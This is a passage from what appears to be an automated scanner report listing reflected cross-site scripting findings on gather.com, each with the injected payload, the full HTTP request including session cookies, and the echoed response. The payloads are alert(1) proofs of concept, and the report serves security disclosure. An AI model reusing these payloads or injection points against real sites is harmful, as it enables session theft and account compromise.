Set-Cookie: vis=9h6Ya1YSV7MwVUNYb60FCFyPMqLh3lqr/TTb1z2sHrvqoA/1Dfgdm4H69t5M+xsOlKlaO9Pn9NcAOzVshqatYiWJpUAxRPPC9ezEYZx1smSYybNngPC5Bo+NtbMln7eS; Domain=gather.com; Expires=Mon, 05-May-2031 14:09:53 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Content-Length: 17724
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<em>118ae<img src=a onerror=alert(1)>a203852493f=a onerror=alert(1)>
...[SNIP]...

4.280. http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce

Issue detail

The value of REST URL parameter 1 is copied into the name of an HTML tag attribute. The payload 79e0e><img%20src%3da%20onerror%3dalert(1)>b887ba7cfe2 was submitted in the REST URL parameter 1. This input was echoed as 79e0e><img src=a onerror=alert(1)>b887ba7cfe2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /6360d%3Cimg+src79e0e><img%20src%3da%20onerror%3dalert(1)>b887ba7cfe2=a+onerror=alert(1)%3E1b6979d15ce HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:09:35 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Set-Cookie: vis=/UJnB/2VqHFIiT/w3H/kvgcsHOYYGEs2F2Kc+fcd9atBcFUaPzIQr1L+v/LpdBclVCKMi9qNZBu4OpcFte/4Qk9R0nMdxlZ6SXlyUNqbhvY=; Domain=gather.com; Expires=Mon, 05-May-2031 14:09:36 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=b6nfxuPgx9BNRrB01AHZMVFy3T6oI/tRuD4NH4Are2KphRznesqyX6EoiN7ZfWhgxi5ITcafdmSA4GOLsNUcqyh6YCdORG8ly8q+BndvBNyr0yEGtu3ZK+zdZiHsl5xg; Domain=gather.com; Expires=Mon, 05-May-2031 14:09:36 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Content-Length: 17766
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<img src79e0e><img src=a onerror=alert(1)>b887ba7cfe2=a onerror=alert(1)>
...[SNIP]...

4.281. http://www.gather.com/URI+SYNTAX+EXCEPTION [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/URI+SYNTAX+EXCEPTION

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c6f5b<img%20src%3da%20onerror%3dalert(1)>59cfd1a7ec6 was submitted in the REST URL parameter 1. This input was echoed as c6f5b<img src=a onerror=alert(1)>59cfd1a7ec6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /URI+SYNTAX+EXCEPTIONc6f5b<img%20src%3da%20onerror%3dalert(1)>59cfd1a7ec6 HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33; vis=HVUtRe+dCzdf2CyOUjYi09NeOLHPNCmjmsquYfcMoIGJuNfBdnqsG5TrWETXyC9vWGzNl30QXjgp0V5yH1P+SfGfV7FGlhGDy8q+BndvBNz9wcIh1ofrBA29mMAn7oGj; gathersid=www07; ref=direct_www

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:11:22 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17691
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<em>URI SYNTAX EXCEPTIONc6f5b<img src=a onerror=alert(1)>59cfd1a7ec6</em>
...[SNIP]...

4.282. http://www.gather.com/URI+SYNTAX+EXCEPTION [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gather.com
Path:	/URI+SYNTAX+EXCEPTION

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4f40"><a>3b572b27178 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /URI+SYNTAX+EXCEPTIONa4f40"><a>3b572b27178 HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33; vis=HVUtRe+dCzdf2CyOUjYi09NeOLHPNCmjmsquYfcMoIGJuNfBdnqsG5TrWETXyC9vWGzNl30QXjgp0V5yH1P+SfGfV7FGlhGDy8q+BndvBNz9wcIh1ofrBA29mMAn7oGj; gathersid=www07; ref=direct_www

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:11:06 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17606
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<meta name="keywordVal" content="URI+SYNTAX+EXCEPTIONa4f40"><a>3b572b27178" >
...[SNIP]...

4.283. http://www.gather.com/a [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gather.com
Path:	/a

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db206"><a>4fede5a8cd9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /adb206"><a>4fede5a8cd9 HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33; vis=HVUtRe+dCzdf2CyOUjYi09NeOLHPNCmjmsquYfcMoIGJuNfBdnqsG5TrWETXyC9vWGzNl30QXjgp0V5yH1P+SfGfV7FGlhGDy8q+BndvBNz9wcIh1ofrBA29mMAn7oGj; gathersid=www07

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:10:43 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17549
X-Cnection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<meta name="keywordVal" content="adb206"><a>4fede5a8cd9" >
...[SNIP]...

4.284. http://www.gather.com/a [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/a

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload af6f0<img%20src%3da%20onerror%3dalert(1)>e36f6e35fd6 was submitted in the REST URL parameter 1. This input was echoed as af6f0<img src=a onerror=alert(1)>e36f6e35fd6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /aaf6f0<img%20src%3da%20onerror%3dalert(1)>e36f6e35fd6 HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33; vis=HVUtRe+dCzdf2CyOUjYi09NeOLHPNCmjmsquYfcMoIGJuNfBdnqsG5TrWETXyC9vWGzNl30QXjgp0V5yH1P+SfGfV7FGlhGDy8q+BndvBNz9wcIh1ofrBA29mMAn7oGj; gathersid=www07

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:10:59 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17634
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<em>aaf6f0<img src=a onerror=alert(1)>e36f6e35fd6</em>
...[SNIP]...

4.285. http://www.gather.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6360d<img%20src%3da%20onerror%3dalert(1)>1b6979d15ce was submitted in the REST URL parameter 1. This input was echoed as 6360d<img src=a onerror=alert(1)>1b6979d15ce in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /6360d<img%20src%3da%20onerror%3dalert(1)>1b6979d15ce HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7529E6AE6191662AF7FFA12DC6E30990; vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; gathersid=www07; ref=direct_politics; __utmz=93515714.1305033248.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=93515714.343032341.1305033248.1305033248.1305033248.1; __utmc=93515714; __utmb=93515714.1.10.1305033248; __qca=P0-83218382-1305033248055

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:53:09 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17666
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<em>6360d<img src=a onerror=alert(1)>1b6979d15ce</em>
...[SNIP]...

4.286. http://www.gather.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gather.com
Path:	/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc2d3"><a>b3cd08117f3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /fc2d3"><a>b3cd08117f3 HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7529E6AE6191662AF7FFA12DC6E30990; vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; gathersid=www07; ref=direct_politics; __utmz=93515714.1305033248.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=93515714.343032341.1305033248.1305033248.1305033248.1; __utmc=93515714; __utmb=93515714.1.10.1305033248; __qca=P0-83218382-1305033248055

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:52:52 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17581
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<meta name="keywordVal" content="fc2d3"><a>b3cd08117f3" >
...[SNIP]...

4.287. http://www.gather.com/global_andre.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gather.com
Path:	/global_andre.css

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82984"><a>7f4b4d4d99d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /82984"><a>7f4b4d4d99d?18185 HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7529E6AE6191662AF7FFA12DC6E30990; vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; gathersid=www07

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:16:56 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17589
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<meta name="keywordVal" content="82984"><a>7f4b4d4d99d" >
...[SNIP]...

4.288. http://www.gather.com/global_andre.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/global_andre.css

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 204ef<img%20src%3da%20onerror%3dalert(1)>7347d38ad0b was submitted in the REST URL parameter 1. This input was echoed as 204ef<img src=a onerror=alert(1)>7347d38ad0b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /204ef<img%20src%3da%20onerror%3dalert(1)>7347d38ad0b?18185 HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7529E6AE6191662AF7FFA12DC6E30990; vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; gathersid=www07

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:17:19 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17666
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<em>204ef<img src=a onerror=alert(1)>7347d38ad0b</em>
...[SNIP]...

4.289. http://www.gather.com/login.action [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/login.action

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload fe349<img%20src%3da%20onerror%3dalert(1)>5ef76a64d7a was submitted in the REST URL parameter 1. This input was echoed as fe349<img src=a onerror=alert(1)>5ef76a64d7a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /fe349<img%20src%3da%20onerror%3dalert(1)>5ef76a64d7a?beamBack=%2FviewTag.action HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; __qca=P0-83218382-1305033248055; gathersid=www07; ref=direct_www; JSESSIONID=A4B71EE9D2B565C9C891BD22CBF9A2D6; __utmz=93515714.1305036047.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=93515714.343032341.1305033248.1305035581.1305036047.3; __utmc=93515714; __utmb=93515714.1.10.1305036047

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:08:50 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17666
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<em>fe349<img src=a onerror=alert(1)>5ef76a64d7a</em>
...[SNIP]...

4.290. http://www.gather.com/login.action [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.gather.com
Path:	/login.action

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1604"><a>aa5df040db9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /d1604"><a>aa5df040db9?beamBack=%2FviewTag.action HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; __qca=P0-83218382-1305033248055; gathersid=www07; ref=direct_www; JSESSIONID=A4B71EE9D2B565C9C891BD22CBF9A2D6; __utmz=93515714.1305036047.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=93515714.343032341.1305033248.1305035581.1305036047.3; __utmc=93515714; __utmb=93515714.1.10.1305036047

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:08:33 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 17614
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<meta name="keywordVal" content="d1604"><a>aa5df040db9" >
...[SNIP]...

4.291. http://www.gather.com/login.action [beamBack parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/login.action

Issue detail

The value of the beamBack request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ec3d2'style%3d'x%3aexpression(alert(1))'92e11b616a1 was submitted in the beamBack parameter. This input was echoed as ec3d2'style='x:expression(alert(1))'92e11b616a1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /login.action?beamBack=%2FviewTag.actionec3d2'style%3d'x%3aexpression(alert(1))'92e11b616a1 HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; __qca=P0-83218382-1305033248055; gathersid=www07; ref=direct_www; JSESSIONID=A4B71EE9D2B565C9C891BD22CBF9A2D6; __utmz=93515714.1305036047.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=93515714.343032341.1305033248.1305035581.1305036047.3; __utmc=93515714; __utmb=93515714.1.10.1305036047

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:07:53 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 16420
Cache-Control: max-age=0
Expires: Tue, 10 May 2011 14:07:53 GMT
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
<a href='login.action?beamBack=/viewTag.actionec3d2'style='x:expression(alert(1))'92e11b616a1'>
...[SNIP]...

4.292. http://www.gather.com/login.action [beamBack parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.gather.com
Path:	/login.action

Issue detail

The value of the beamBack request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1f5f"><x%20style%3dx%3aexpression(alert(1))>253372fae3f was submitted in the beamBack parameter. This input was echoed as c1f5f"><x style=x:expression(alert(1))>253372fae3f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /login.action?beamBack=%2FviewTag.actionc1f5f"><x%20style%3dx%3aexpression(alert(1))>253372fae3f HTTP/1.1
Host: www.gather.com
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; __qca=P0-83218382-1305033248055; gathersid=www07; ref=direct_www; JSESSIONID=A4B71EE9D2B565C9C891BD22CBF9A2D6; __utmz=93515714.1305036047.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __utma=93515714.343032341.1305033248.1305035581.1305036047.3; __utmc=93515714; __utmb=93515714.1.10.1305036047

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:07:52 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Content-Length: 16440
Cache-Control: max-age=0
Expires: Tue, 10 May 2011 14:07:52 GMT
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...
